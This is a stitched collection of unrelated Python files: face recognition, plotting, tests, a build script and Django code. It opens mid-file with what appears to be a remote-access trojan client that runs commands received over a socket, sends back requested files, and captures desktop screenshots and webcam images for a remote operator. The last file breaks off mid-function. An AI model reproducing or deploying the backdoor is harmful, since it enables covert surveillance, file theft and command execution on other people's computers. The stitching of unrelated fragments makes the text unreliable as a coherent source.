        continue

    while True:
        try:
            recv_data = str(sock.recv(1024), "utf-8")
        except:
            print('服务器连接不上！')
            break
        if recv_data == 'hello':
            continue
        if not recv_data:
            continue
        if recv_data.split()[0] == 'get':
            f_name = recv_data.split()[1]
            print(f_name)
            f = open(f_name,'rb')

            sock.sendall(f.read())

            time.sleep(1)

            sock.send(b'stop')
            continue
        if recv_data == 'ImageGrab':
            im = ImageGrab.grab()
            im = im.resize((1024,768))
            sock.sendall(im.tostring())
            time.sleep(1)
            sock.send(b'stop')
            print('桌面截图发送成功！')
            continue
        if recv_data == 'CamImage':
            print(1)
            cam = Device()
            im = cam.getImage()
            im = im.resize((320,240))
            sock.sendall(im.tostring())
            time.sleep(1)
            sock.send(b'stop')
            print('摄像头截图发送成功！')
            continue
        #print(recv_data)
        cmd_result = os.popen(recv_data).read()
        if cmd_result == '':
            cmd_result = 'NOT'
        print (cmd_result)
        sock.sendall(bytes(cmd_result,'utf-8'))
    sock.close()


from multiprocessing import Process
from contextlib import contextmanager
from abc import abstractmethod

import numpy as np
import cv2

from game.config import CONFIG
from game.events.tasks import *
from game.events.results import *
from game.database import FaceDatabase
from game.recognition.models import init_model_stack
from game.recognition.face import Face
from game.monitoring import monitor_runtime

class WorkerProcess(Process):
    def __init__(self, task_queue, result_queue, error_queue):
        super(WorkerProcess, self).__init__()
        self.task_queue = task_queue
        self.result_queue = result_queue
        self.error_queue = error_queue

    @abstractmethod
    def execute_task(self, task):
        pass

    def get_task(self):
        if not self.task_queue.empty():
            return True, self.task_queue.get()
        else:
            return False, None

    def run(self):
        try:
            while True:
                task_available, task = self.get_task()
                if not task_available:
                    continue

                if isinstance(task, Shutdown):
                    break

                result = self.execute_task(task)
                if result:
                    self.result_queue.put(result)

            # make sure to empty the queue
            while True:
                task_available, _ = self.get_task()
                if not task_available:
                    break

        except Exception as e:
            self.error_queue.put(Error())
            raise e  # to throw stacktrace and stop this process

class RecognitionProcess(WorkerProcess):
    def __init__(self, task_queue, result_queue, error_queue):
        super(RecognitionProcess, self).__init__(task_queue, result_queue, error_queue)

        self.models = None
        self.face_database = FaceDatabase(CONFIG["recognition"]["database"]["location"])

    def execute_task(self, task):
        if not self.models:
            self.models = init_model_stack()

        if isinstance(task, RecognizeFaces):
            bgr_image = task.image.data
            rgb_image = cv2.cvtColor(bgr_image, cv2.COLOR_BGR2RGB)

            faces = self.__detect_faces(rgb_image, bgr_image)
            if len(faces) > 0:
                self._crop(rgb_image, faces)
                self._extract_features(faces)
                self._find_matches(faces)
            return RecognitionResult(faces)

        elif isinstance(task, BackupFaceDatabase):
            self.face_database.store()

        elif isinstance(task, RegisterFaces):
            if task.recognition_result is None or task.recognition_result.faces is None:
                return RegistrationResult(persons=[])

            registered = self.face_database.add_all(task.recognition_result.faces)
            return RegistrationResult(persons=registered)

        elif isinstance(task, UnregisterMostRecentFaces):
            unregistered = self.face_database.remove_most_recent()
            return UnregistrationResult(persons=unregistered)

        else:
            raise NotImplementedError()

    @monitor_runtime
    def __detect_faces(self, rgb_image, bgr_image):
        bounding_boxes = self.models.detect_faces(rgb_image)
        thumbnails = [bgr_image[box.top(): box.bottom(), box.left(): box.right(), :] for box in bounding_boxes]
        faces = [Face(bounding_box=box, thumbnail=thumbnail) for box, thumbnail in zip(bounding_boxes, thumbnails)]
        return faces

    @monitor_runtime
    def _crop(self, rgb_image, faces):
        for face in faces:
            face.landmarks = self.models.find_landmarks(rgb_image, face.bounding_box)
            face.crop = self.models.crop(rgb_image, face.landmarks)

    @monitor_runtime
    def _extract_features(self, faces):
        all_features = self.models.extract_features(np.array([face.crop for face in faces]))
        for face, features in zip(faces, all_features):
            face.features = features

    @monitor_runtime
    def _find_matches(self, faces):
        num_matches = CONFIG["display"]["num_matches_debug"]
        for face in faces:
            face.matches = self.models.match_faces(face.features, self.face_database.faces)[:num_matches]

@contextmanager
def init_recognition(work_queue, results_queue, error_queue):
    recognition = RecognitionProcess(work_queue, results_queue, error_queue)

    try:
        recognition.start()
        yield recognition
    finally:
        work_queue.put(Shutdown())


# Description: Display using a polar plot the distance measurements collected by a CyBot 180 degree
# sensor scan at 4 degree increments from 0 to 180 degrees. Sensor data read from a text file.

# Original Code example modified by: Phillip Jones (10/02/2021), (05/15/2023)
# Original polar plot code example from matplot: https://matplotlib.org/stable/gallery/pie_and_polar_charts/polar_demo.html

# Useful matplotlib tutorial: https://matplotlib.org/stable/tutorials/introductory/pyplot.html
# Useful best practices Quick Start: https://matplotlib.org/stable/tutorials/introductory/quick_start.html
# General Python Reference/Tutorials: https://www.w3schools.com/python/

# Quick YouTube Overviews (See above links as primary resources for additional details):
# - Quick Polar Plot (subplot) Overview: https://www.youtube.com/watch?v=pb-pZtvkGPM
# - Quick subplots Overview : https://www.youtube.com/watch?v=Tqph7_qMujk

#Import/Include useful math and plotting functions
import numpy as np
import matplotlib.pyplot as plt
import os  # import function for finding absolute path to this python script

# A little python magic to make it more convient for you to ajust where you want the data file to live
# Link for more info: https://towardsthecloud.com/get-relative-path-python
absolute_path = os.path.dirname(__file__) # Absoult path to this python script
relative_path = "./"   # Path to sensor data file relative to this python script (./ means data file is in the same directory as this python script
full_path = os.path.join(absolute_path, relative_path) # Full path to sensor data file
filename = 'mock-cybot-sensor-scan.txt' # Name of sensor data file

# angle_degrees: a vector (i.e., array of numbers) for which each element is an angle at which the sensor makes a distance measurement.
# Units: degrees
angle_degrees = [] # Initially empty

# angle_radians: a vector that contains converted elements of vector angle_degrees into radians
# Units radians
angle_radians = [] # Initially empty

# distance: a vector, where each element is the corresponding distance measured at each angle in vector angle_degrees
# Units: meters
distance = []      # Initially empty

# Open file containing CyBot sensor scan from 0 - 180 degrees
file_object = open(full_path + filename,'r') # Open the file: file_object is just a variable for the file "handler" returned by open()
file_header = file_object.readline() # Read and store the header row (i.e., 1st row) of the file into file_header
file_data = file_object.readlines()  # Read the rest of the lines of the file into file_data
file_object.close() # Important to close file one you are done with it!!

# For each line of the file split into columns, and assign each column to a variable
for line in file_data:
    data = line.split()    # Split line into columns (by default delineates columns by whitespace)
    angle_degrees.append(float(data[0]))  # Column 0 holds the angle at which distance was measured
    distance.append(float(data[1]))       # Column 1 holds the distance that was measured at a given angle

# Convert python sequence (list of strings) into a numpy array
angle_degrees = np.array(angle_degrees) # Avoid "TypeError: can't multiply sequence by non-int of type float"
                                        # Link for more info: https://www.freecodecamp.org/news/typeerror-cant-multiply-sequence-by-non-int-of-type-float-solved-python-error/

angle_radians = (np.pi/180) * angle_degrees # Convert degrees into radians

# Create a polar plot
fig, ax = plt.subplots(subplot_kw={'projection': 'polar'}) # One subplot of type polar
ax.plot(angle_radians, distance, color='r', linewidth=4.0)  # Plot distance verse angle (in radians), using red, line width 4.0
ax.set_xlabel('Distance (m)', fontsize = 14.0)  # Label x axis
ax.set_ylabel('Angle (degrees)', fontsize = 14.0) # Label y axis
ax.xaxis.set_label_coords(0.5, 0.15) # Modify location of x axis label (Typically do not need or want this)
ax.tick_params(axis='both', which='major', labelsize=14) # set font size of tick labels
ax.set_rmax(2.5)                    # Saturate distance at 2.5 meters
ax.set_rticks([0.5, 1, 1.5, 2, 2.5])   # Set plot "distance" tick marks at .5, 1, 1.5, 2, and 2.5 meters
ax.set_rlabel_position(-22.5)     # Adjust location of the radial labels
ax.set_thetamax(180)              # Saturate angle to 180 degrees
ax.set_xticks(np.arange(0,np.pi+.1,np.pi/4)) # Set plot "angle" tick marks to pi/4 radians (i.e., displayed at 45 degree) increments
                                             # Note: added .1 to pi to go just beyond pi (i.e., 180 degrees) so that 180 degrees is displayed
ax.grid(True)                     # Show grid lines

# Create title for plot (font size = 14pt, y & pad controls title vertical location)
ax.set_title("Mock-up Polar Plot of CyBot Sensor Scan from 0 to 180 Degrees", size=14, y=1.0, pad=-24)
plt.show()  # Display plot


# package imports #
# --------------- #
import matplotlib
import matplotlib.font_manager
import matplotlib.pyplot as plt
from matplotlib.gridspec import GridSpec
from matplotlib.colorbar import Colorbar

# local imports #
# ------------- #
from ._modify_ax_spines import _modify_ax_spines
from ._set_minimal_ticks import _set_minimal_ticks

# # matplotlib presets #
# # ------------------ #
font = {"size": 12}
matplotlib.rc(font)
matplotlib.rcParams["font.sans-serif"] = "Arial"
matplotlib.rcParams["font.family"] = "sans-serif"

def _histogram_2d_component_plot(
    data,
    n_bins=20,
    cmap="Purples",
    histcolor="#63439C",
    histalpha=1,
    figsize=(7, 6),
    title_fontsize=16,
    label_fontsize=14,
    suptitle=False,
    save_path=False,
):

    """"""

    x_component, y_component = data[:, 0], data[:, 1]

    # construct plot surface
    fig = plt.figure(figsize=figsize)
    gridspec = GridSpec(
        nrows=2,
        ncols=3,
        height_ratios=[0.15, 1],
        width_ratios=[0.2, 1, 0.075],
        wspace=0.2,
        hspace=0.1,
    )

    x_component_histogram = fig.add_subplot(gridspec[0, 1])
    x_component_bins = x_component_histogram.hist(
        x_component, bins=n_bins, color=histcolor, alpha=histalpha,
    )
    x_component_histogram.grid(True)
    #     x_component_histogram.set_xticks([])

    y_component_histogram = fig.add_subplot(gridspec[1, 0])
    y_component_bins = y_component_histogram.hist(
        y_component,
        orientation="horizontal",
        bins=n_bins,
        color=histcolor,
        alpha=histalpha,
    )
    y_component_histogram.grid(True)

    y_component_histogram.set_xlim(y_component_histogram.get_xlim()[::-1])

    histogram_2d = fig.add_subplot(gridspec[1, 1])
    bins_2d = histogram_2d.hist2d(x_component, y_component, bins=n_bins, cmap=cmap)

    #     histogram_2d.set_yticks([bins_2d[2].min() + 1, bins_2d[2].max() - 1])

    x_tick_min = int(bins_2d[1].min())
    x_tick_max = int(bins_2d[1].max())

    histogram_2d.set_xticks([x_tick_min, x_tick_max])
    #

    y_tick_min = int(bins_2d[2].min())
    y_tick_max = int(bins_2d[2].max())

    histogram_2d.set_yticks([y_tick_min, y_tick_max])
    histogram_2d.yaxis.tick_right()
    #     y_component_histogram.set_yticks([])

    hist2d_spines = _modify_ax_spines(histogram_2d)
    hist2d_spines.set_color("grey")
    #     spines.delete(select_spines=["top", "right"])
    hist2d_spines.set_position(position_type="axes", amount=-0.05)
    _set_minimal_ticks(histogram_2d, x_component, y_component)

    #     for ax in [x_component_histogram, y_component_histogram, histogram_2d]:
    #         spines = _modify_ax_spines(ax)
    #         spines.delete()

    hist2d_im = histogram_2d.imshow(data, cmap=cmap)
    colorbar_ax = fig.add_subplot(gridspec[1:, 2])

    cb = Colorbar(ax=colorbar_ax, mappable=hist2d_im, ticklocation="right")
    cb.outline.set_visible(False)
    if suptitle:
        plt.suptitle(suptitle, fontsize=title_fontsize, x=0.55)
    plt.tight_layout()
    if save_path:
        out = plt.savefig(save_path)
    plt.show()


import boto
import mock

from moto import mock_ec2_deprecated
from nova import test
from nova.virt.ec2.keypair import KeyPairNotifications

class KeyPairNotificationsTestCase(test.NoDBTestCase):
    @mock_ec2_deprecated
    def setUp(self):
        super(KeyPairNotificationsTestCase, self).setUp()
        fake_access_key = 'aws_access_key'
        fake_secret_key = 'aws_secret_key'
        region_name = 'us-west-1'
        region = boto.ec2.get_region(region_name)
        self.fake_aws_conn = boto.ec2.EC2Connection(
            aws_access_key_id=fake_access_key,
            aws_secret_access_key=fake_secret_key,
            region=region)
        self.flags(rabbit_port=5672)
        self.conn = KeyPairNotifications(self.fake_aws_conn,
                                         transport='memory')

    def test_handle_notification_create_event(self):
        body = {'event_type': 'keypair.create.start'}
        with mock.patch.object(boto.ec2.EC2Connection, 'delete_key_pair') \
                as mock_delete:
            self.conn.handle_notification(body, None)
            mock_delete.assert_not_called()

    def test_handle_notifications_no_event_type(self):
        body = {}
        with mock.patch.object(boto.ec2.EC2Connection, 'delete_key_pair') \
                as mock_delete:
            self.conn.handle_notification(body, None)
            mock_delete.assert_not_called()

    @mock_ec2_deprecated
    def test_handle_notifications_delete_key(self):
        fake_key_name = 'fake_key'
        fake_key_data = 'fake_key_data'
        self.fake_aws_conn.import_key_pair(fake_key_name, fake_key_data)
        body = {'event_type': 'keypair.delete.start',
                'payload': {
                    'key_name': fake_key_name
                    }
                }
        self.conn.handle_notification(body, None)
        aws_keypairs = self.fake_aws_conn.get_all_key_pairs()
        self.assertEqual(len(aws_keypairs), 0)

    @mock_ec2_deprecated
    def test_handle_notifications_delete_key_with_multiple_keys_in_aws(self):
        fake_key_name_1 = 'fake_key_1'
        fake_key_data_1 = 'fake_key_data_1'
        fake_key_name_2 = 'fake_key_2'
        fake_key_data_2 = 'fake_key_data_2'
        self.fake_aws_conn.import_key_pair(fake_key_name_1, fake_key_data_1)
        self.fake_aws_conn.import_key_pair(fake_key_name_2, fake_key_data_2)
        body = {'event_type': 'keypair.delete.start',
                'payload': {
                    'key_name': fake_key_name_1
                    }
                }
        self.conn.handle_notification(body, None)
        aws_keypairs = self.fake_aws_conn.get_all_key_pairs()
        self.assertEqual(len(aws_keypairs), 1)
        self.assertEqual(aws_keypairs[0].name, fake_key_name_2)


import os
import time
import json
import sys
import shutil

global propertiesFile
global deployModules
global defsDeploy

propertiesFile = "pyBuild.properties"
deployModules = ['frontend.ear', 'webservice.ear']
#modulesMaxLen = max([len(f) for f in deployModules])
defsDeploy = {"PRD_CRQ":"CRQ0009999999", "release":1}
maxDeployLagMins = 10

def loadDefs():
	if not os.path.isfile(propertiesFile):
		print(f"\nArquivo de propriedades '{propertiesFile}' inexistente.\n"
		f'Criando um novo com parametros default.\n')
		with open(propertiesFile,'w') as f:
			json.dump(defsDeploy,f)
		#input('>')
		#sys.exit()
	print(f'\nArquivo de propriedades "{propertiesFile}" encontrado.')
	with open(propertiesFile) as f:
		defsDeploy = json.load(f)
	print(f'Deploy properties: {defsDeploy}\n')

def initDeployDir():
	if not os.path.isdir("c:\\deploy"):
		print("\nDiretório c:\\deploy inexistente.\n")
		input('>')
		sys.exit()
	binDir = "c:\\deploy\\"+defsDeploy["PRD_CRQ"]+"\\bin\\exe"
	os.makedirs(binDir,exist_ok=True)

def copyDeployFiles():
	binDir = "c:\\deploy\\"+defsDeploy["PRD_CRQ"]+"\\bin\\exe\\"
	for f in deployModules:
		shutil.copy2('bin\\exe\\'+f,binDir+f)
	print(f'Arquivos copiados\n')

def buildModules():
	mintty_exe = os.environ['LOCALAPPDATA']+'\\Atlassian\\SourceTree\\git_local\\usr\\bin\\mintty.exe'
	if not os.path.isfile(mintty_exe):
		print(f'\nArquivo "{mintty_exe}" nao encontrado!')
		input('>')
		sys.exit()
	print('Invocando build.sh ...\n')
	ret = os.system(mintty_exe+' /usr/bin/bash --login -i -c ./build.sh')
	return ret

def callSonar():
	mintty_exe = os.environ['LOCALAPPDATA']+'\\Atlassian\\SourceTree\\git_local\\usr\\bin\\mintty.exe'
	if not os.path.isfile(mintty_exe):
		print(f'\nArquivo "{mintty_exe}" nao encontrado!')
		input('>')
		sys.exit()
	os.chdir('sourcecode')
	print('Dir: %s' % (os.getcwd()))
	print('Invocando sonar.sh ...\n')
	ret = os.system(mintty_exe+' /usr/bin/bash --login -i -c ./sonar.sh')
	os.chdir('..')
	print('Dir: %s' % (os.getcwd()))
	return ret

def checkDeployFiles():
	if not os.path.isdir('bin\\exe'):
		print('Diretorio bin\\exe nao encontrado')
		return False
	allModsOk = True
	for f in deployModules:
		if not os.path.isfile('bin\\exe\\'+f):
			print(f'\Arquivo "bin\\exe\\{f}" inexistente')
			allModsOk = False
		else:
			fStat = os.stat('bin\\exe\\'+f)
			if (fStat.st_size<=0):
				print(f'Arquivo bin\\exe\\{f:18} inexistente')
				allModsOk = False
			elif ( (time.time()-fStat.st_mtime) / 60 >maxDeployLagMins):
				print(f'Arquivo bin\\exe\\{f:18} antigo - {int((time.time()-fStat.st_mtime) // 60)} mins - '\
				f'{time.ctime(fStat.st_mtime)}')
				allModsOk = False
			#
	#dirFiles = os.listdir('bin\\exe')
	if allModsOk: print('Arquivos de build ok')
	else:
		print('\nArquivos nao gerados no build!')
		input('>')
		sys.exit()

print('\n### Init\n')
print(f'propertiesFile={propertiesFile}\n')
print(f'deployModules={deployModules}\n')
loadDefs()
initDeployDir()
print('\n### Build\n')
buildModules()
print('\n### Check build files\n')
checkDeployFiles()
copyDeployFiles()

print('\n### Update Sonar\n')
callSonar()

print('\n### Script ok\n')
input('>')


import sqlite3
import pandas as pd
from abc import ABC, abstractmethod

class AbstractTask(ABC):

    @abstractmethod
    def execute(self, **kwargs) -> pd.DataFrame:
        pass

class Excel(AbstractTask):
    def __init__(self, file: str):
        self.__file = file

    def execute(self, **kwargs) -> pd.DataFrame:
        df = pd.read_excel(io=self.__file, header=[0, 1, 2])
        f1 = pd.DataFrame(df[['id', 'company']])
        f1.columns = ['id', 'company']
        f2 = pd.DataFrame(df[['fact', 'forecast']])
        f2 = f2.T
        f2.columns = f1
        f2 = f2.stack()
        f3 = f2.index.to_frame(index=False)
        col = list(zip(*f3[3].values))
        f3 = pd.DataFrame(f3.drop(columns=[3]))
        f3.columns = ['type', 'q', 'data']
        f3['id'] = col[0]
        f3['company'] = col[1]
        f3['value'] = f2.values
        return f3

class AddDate(AbstractTask):
    def __init__(self, f: pd.DataFrame, dt: str):
        self.__f = f
        self.__dt = dt

    def execute(self, **kwargs) -> pd.DataFrame:
        f = self.__f
        f['dt'] = pd.date_range(start=self.__dt, periods=self.__f.shape[0], freq='D')
        return f

class Sqlite3(AbstractTask):
    def connect(self):
        return sqlite3.connect('ursib.db')

    def execute(self, **kwargs) -> pd.DataFrame:
        with self.connect() as conn:
            cur = conn.cursor()
            res = cur.execute(kwargs.get('query'))
            return pd.DataFrame(res.fetchall())

class Sqlite3Many(Sqlite3):

    def execute(self, **kwargs) -> pd.DataFrame:
        with self.connect() as conn:
            cur = conn.cursor()
            res = cur.executemany(kwargs.get('query'), kwargs.get('params'))
            return pd.DataFrame(res.fetchall())

excel = Excel('data.xlsx')
data = excel.execute()
add_date = AddDate(data, '2023-01-01')
data = add_date.execute()
# print(data)

sql = Sqlite3()
sql_m = Sqlite3Many()

q1 = '''
    create table if not exists my_table (
        type text,
        q text,
        data text,
        id integer,
        company text,
        value integer,
        date date,
        primary key (type, q, data, id, company)
    )'''
sql.execute(query=q1)
sql.execute(query='delete from my_table')

q2 = 'insert into my_table (type, q, data, id, company, value, date) values (?, ?, ?, ?, ?, ?, ?)'
params = [tuple(v.strftime('%Y-%m-%d') if isinstance(v, pd.Timestamp) else v for k, v in x.items()) for x in data.to_dict('records')]
sql_m.execute(query=q2, params=params)

d3 = sql.execute(query='select q, sum(value) value from my_table group by q')
print(20*'=')
print(d3)


import pandas as pd
import datetime
from dateutil import parser

from ocpa.algo.conformance.token_based_replay import algorithm as diagnostics_factory
from dtween.digitaltwin.ocel.objects.mdl.preprocessor import factory as mdl_preprocess_factory
from dtween.available.constants import EVENT_FILTER, OBJECT_FILTER
from dtween.util.util import REPLAY_DIAGNOSTICS_MAP, DIAGNOSTICS_FILTER_MAP, OPS_MAP
from dtween.digitaltwin.digitaltwin.util import update_config

def gen_diagnostics_scheme(action_pattern_repo):
    diagnostics_scheme = dict()
    for ap in action_pattern_repo:
        diag_dur = ap["condition"]["cond_duration"]
        cond_type = ap["condition"]["cond_type"]
        diag_type = REPLAY_DIAGNOSTICS_MAP[cond_type]
        # diag_filter_type = DIAGNOSTICS_FILTER_MAP[diag_type]
        diag_filter_type = EVENT_FILTER
        if diag_dur not in diagnostics_scheme:
            diagnostics_scheme[diag_dur] = {}
            diagnostics_scheme[diag_dur][diag_type] = diag_filter_type
        else:
            diagnostics_scheme[diag_dur][diag_type] = diag_filter_type
    return diagnostics_scheme

def gen_diagnostics_records(action_pattern_repo, dt, df, current_timestamp, interval, n_intervals):
    diagnostics_scheme = gen_diagnostics_scheme(action_pattern_repo)
    diagnostics_records = {}
    for dur in diagnostics_scheme:
        diag_start_timestamp = current_timestamp - \
            datetime.timedelta(hours=dur)
        # diag_end_timestamp = current_timestamp + \
        #     datetime.timedelta(hours=interval*n_intervals)
        diag_end_timestamp = current_timestamp
        print("Diagnostics start at {} and ends at {}".format(
            diag_start_timestamp, diag_end_timestamp))
        # diagnostics after event filtering
        event_filtered_df = mdl_preprocess_factory.filter_by_timestamp(
            df, start_timestamp=diag_start_timestamp, end_timestamp=diag_end_timestamp)
        event_filtered_diagnostics = diagnostics_factory.apply(
            dt.ocpn, event_filtered_df)

        # diagnostics after object filtering
        # TODO at the moment hard-coded to "order" type, but object graph concept should be used to be generalized.
        object_filtered_df = mdl_preprocess_factory.object_filter_by_timestamp(
            df, start_timestamp=diag_start_timestamp, end_timestamp=diag_end_timestamp, object_type="order")
        object_filtered_diagnostics = diagnostics = diagnostics_factory.apply(
            dt.ocpn, object_filtered_df)
        diagnostics = {}
        for diag_type in diagnostics_scheme[dur]:
            diag_type_filter = diagnostics_scheme[dur][diag_type]
            if diag_type_filter == EVENT_FILTER:
                diagnostics[diag_type] = event_filtered_diagnostics[diag_type]
            elif diag_type_filter == OBJECT_FILTER:
                diagnostics[diag_type] = object_filtered_diagnostics[diag_type]
        diagnostics_records[dur] = diagnostics
    return diagnostics_records

def evaluate(action_pattern_repo, dt, event_df, current_timestamp, interval, n_intervals, config_dir):
    diagnostics_records = gen_diagnostics_records(action_pattern_repo, dt,
                                                  event_df, current_timestamp, interval, n_intervals)
    action_log = []
    exp_log = []
    for ap in action_pattern_repo:
        exp = {}
        trigger, eval_message, diag_val = evaluate_condition(
            diagnostics_records, ap["condition"])
        exp["val"] = diag_val
        exp["time"] = interval*n_intervals
        if trigger:
            action_message = execute_action(ap["action"], config_dir)
        else:
            action_message = "No action"
        exp["action"] = action_message
        action_log.append("[%s] %s -> \n %s" % (current_timestamp.strftime(
            "%Y-%m-%d, %H:%M:%S"), eval_message, action_message))
        exp_log.append(exp)
    return action_log, exp_log

def evaluate_condition(diagnostics_records, condition):
    dur = condition["cond_duration"]
    diag = diagnostics_records[dur]
    cond_type = condition["cond_type"]
    diag_type = REPLAY_DIAGNOSTICS_MAP[cond_type]
    operator = condition["cond_operator"]
    threshold = condition["cond_threshold"]
    el = condition["cond_element"]
    cond_name = condition["cond_name"]
    # if diag[diag_type] == "act_count":
    #     if el not in diag[diag_type]['item'].keys():
    #         return False, "%s cannot be measured" % (cond_name), None
    #     else:
    #         diag_val = diag[diag_type]['item'][el]
    # else:
    if el not in diag[diag_type].keys():
        return False, "%s cannot be measured" % (cond_name), None
    else:
        diag_val = diag[diag_type][el]
    # performance in seconds to hour
    if 's' in str(diag_val):
        diag_val = float(diag_val[:-1])/60
    elif 'h' in str(diag_val):
        diag_val = float(diag_val[:-1])
    elif 'D' in str(diag_val):
        diag_val = float(diag_val[:-1])*24
    else:
        diag_val = float(diag_val)
    eval_message = "Evaluate if {} {} {} at {}".format(
        diag_val, operator, threshold, el)
    print(eval_message)
    if OPS_MAP[operator](diag_val, threshold):
        return True, "%s evaluates to True" % (cond_name), diag_val
    else:
        return False, "%s evaluates to False" % (cond_name), diag_val

def execute_action(action, config_dir):
    valve = action["act_valve"]
    value = action["act_value"]
    update_config(config_dir, valve, value)
    action_message = "Update {} to {}".format(valve, value)
    print(action_message)
    return action_message


# encoding=utf8
from celery.task import periodic_task
from celery.schedules import crontab
from django.core.cache import cache

from ask.models import User, UserVote, Ask, Answer, Tag
from datetime import timedelta
from django.db.models import Count
from django.utils import timezone
from random import shuffle
from django.template import Template, loader
from django.core.urlresolvers import reverse
from django.db.models import Q

@periodic_task(run_every=crontab(minute='*/1'))
def cache_top():
    tags = Tag.objects.filter(asks__answers__date_create__gte=timezone.now() - timedelta(days=30)).annotate(
        count=Count('title')).order_by('-count')[:10]

    min_value = tags[len(tags) - 1].count
    max_value = tags[0].count

    tags_list = []

    for tag in tags:
        tag_item = dict()
        tag_item["tag"] = tag.tag
        tag_item["value"] = int(
            round(float(float(tag.count - min_value + 1) / float(max_value - min_value + 1)) * float(8)))
        tag_item["pk"] = int(tag.pk),
        tags_list.append(tag_item)

    shuffle(tags_list)

    t = loader.get_template('blocks/popular_tags.html')
    context = {
        'tags_list': tags_list
    }
    cache.set('top_tags', t.render(context=context), timeout=None)

    users = User.object.filter(Q(asks__date_create__gte=timezone.now() - timedelta(days=30)) | Q(
        answers__date_create__gte=timezone.now() - timedelta(days=30))).annotate(
        count=Count('pk')).order_by('-count')[:10]

    t = loader.get_template('blocks/best_members.html')
    context = {
        'users': users,
    }
    cache.set('top_users', t.render(context=context), timeout=None)


# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.shortcuts import render, redirect
from time import localtime, strftime
def index(request):
    if not 'words' in request.session:
        request.session['words'] = []
    return render(request,'word_session/index.html')
def process(request):
    if request.method == "POST":
        className = ""
        if request.POST['color'] == 'red' and not 'bigfonts' in request.POST:
            className = "red"
        elif request.POST['color'] == 'red' and 'bigfonts' in request.POST:
            className = "redBig"
        elif request.POST['color'] == 'green' and not 'bigfonts' in request.POST:
            className = "green"
        elif request.POST['color'] == 'green' and 'bigfonts' in request.POST:
            className = "greenBig"
        elif request.POST['color'] == 'blue' and not 'bigfonts' in request.POST:
            className = "blue"
        elif request.POST['color'] == 'blue' and 'bigfonts' in request.POST:
            className = "blueBig"
        word_holder = [request.POST['word'], strftime("%I:%M:%S %p, %B %d %Y", localtime()), className]
        message_log=request.session['words']
        message_log.append(word_holder)
        request.session['words'] = message_log
    return redirect('/')
def reset(request):
    request.session.flush()
    return redirect('/')


'''
*****************************************************************************************
*
*                ===============================================
*                   Nirikshak Bot (NB) Theme (eYRC 2020-21)
*                ===============================================
*
*  This script is to implement Task 5 of Nirikshak Bot (NB) Theme (eYRC 2020-21).
*
*  This software is made available on an "AS IS WHERE IS BASIS".
*  Licensee/end user indemnifies and will keep e-Yantra indemnified from
*  any and all claim(s) that emanate from the use of the Software or
*  breach of the terms of this agreement.
*
*  e-Yantra - An MHRD (now MOE) project under National Mission on Education using ICT (NMEICT)
*
*****************************************************************************************
'''

# Team ID:          [ Team-ID ]
# Author List:      [ Names of team members worked on this file separated by Comma: Name1, Name2, ... ]
# Filename:         task_5.py
# Functions:
#                   [ Comma separated list of functions in this file ]
# Global variables:
#                     [ List of global variables defined in this file ]

# NOTE: Make sure you do NOT call sys.exit() in this code.

####################### IMPORT MODULES #######################
## You are not allowed to make any changes in this section. ##
##############################################################
import numpy as np
import cv2
import os, sys
import traceback
import time
import math
import json

##############################################################

start_coord_4 = (0, 5)
start_coord_1, end_coords_1, end_coord_4 = (0, 0), (0, 0), (0, 0)
gate = True

# Importing the sim module for Remote API connection with CoppeliaSim
try:
    import sim

except Exception:
    print('\n[ERROR] It seems the sim.py OR simConst.py files are not found!')
    print('\n[WARNING] Make sure to have following files in the directory:')
    print(
        'sim.py, simConst.py and appropriate library - remoteApi.dll (if on Windows), remoteApi.so (if on Linux) or remoteApi.dylib (if on Mac).\n')

# Import 'task_1b.py' file as module
try:
    import task_1b

except ImportError:
    print('\n[ERROR] task_1b.py file is not present in the current directory.')
    print('Your current directory is: ', os.getcwd())
    print('Make sure task_1b.py is present in this current directory.\n')

except Exception as e:
    print('Your task_1b.py throwed an Exception. Kindly debug your code!\n')
    traceback.print_exc(file=sys.stdout)

# Import 'task_1a_part1.py' file as module
try:
    import task_1a_part1

except ImportError:
    print('\n[ERROR] task_1a_part1.py file is not present in the current directory.')
    print('Your current directory is: ', os.getcwd())
    print('Make sure task_1a_part1.py is present in this current directory.\n')

except Exception as e:
    print('Your task_1a_part1.py throwed an Exception. Kindly debug your code!\n')
    traceback.print_exc(file=sys.stdout)

# Import 'task_2a.py' file as module
try:
    import task_2a

except ImportError:
    print('\n[ERROR] task_2a.py file is not present in the current directory.')
    print('Your current directory is: ', os.getcwd())
    print('Make sure task_2a.py is present in this current directory.\n')

except Exception as e:
    print('Your task_2a.py throwed an Exception. Kindly debug your code!\n')
    traceback.print_exc(file=sys.stdout)

# Import 'task_2b.py' file as module
try:
    import task_2b

except ImportError:
    print('\n[ERROR] task_2b.py file is not present in the current directory.')
    print('Your current directory is: ', os.getcwd())
    print('Make sure task_2b.py is present in this current directory.\n')

except Exception as e:
    print('Your task_2b.py throwed an Exception. Kindly debug your code!\n')
    traceback.print_exc(file=sys.stdout)

# Import 'task_3.py' file as module
try:
    import task_3

except ImportError:
    print('\n[ERROR] task_3.py file is not present in the current directory.')
    print('Your current directory is: ', os.getcwd())
    print('Make sure task_3.py is present in this current directory.\n')

except Exception as e:
    print('Your task_3.py throwed an Exception. Kindly debug your code!\n')
    traceback.print_exc(file=sys.stdout)

# Import 'task_4a.py' file as module
try:
    import task_4a

except ImportError:
    print('\n[ERROR] task_4a.py file is not present in the current directory.')
    print('Your current directory is: ', os.getcwd())
    print('Make sure task_4a.py is present in this current directory.\n')

except Exception as e:
    print('Your task_4a.py throwed an Exception. Kindly debug your code!\n')
    traceback.print_exc(file=sys.stdout)

##############################################################

# NOTE:    YOU ARE NOT ALLOWED TO MAKE ANY CHANGE TO THIS FUNCTION
#
# Function Name:    send_color_and_collection_box_identified
#        Inputs:    ball_color and collection_box_name
#       Outputs:    None
#       Purpose:    1. This function should only be called when the task is being evaluated using
#                        test executable.
#                    2. The format to send the data is as follows:
#                       'color::collection_box_name'
def send_color_and_collection_box_identified(ball_color, collection_box_name):
    global client_id

    color_and_cb = [ball_color + '::' + collection_box_name]
    inputBuffer = bytearray()
    return_code, retInts, retFloats, retStrings, retBuffer = sim.simxCallScriptFunction(client_id,
                                                                                'evaluation_screen_respondable_1',
                                                                                sim.sim_scripttype_childscript,
                                                                                'color_and_cb_identification',
                                                                                [], [], color_and_cb,
                                                                                inputBuffer,
                                                                                sim.simx_opmode_blocking)

################# ADD UTILITY FUNCTIONS HERE #################
## You can define any utility functions for your code.      ##
## Please add proper comments to ensure that your code is   ##
## readable and easy to understand.                         ##
##############################################################
def get_start_end_coord(data, cl):
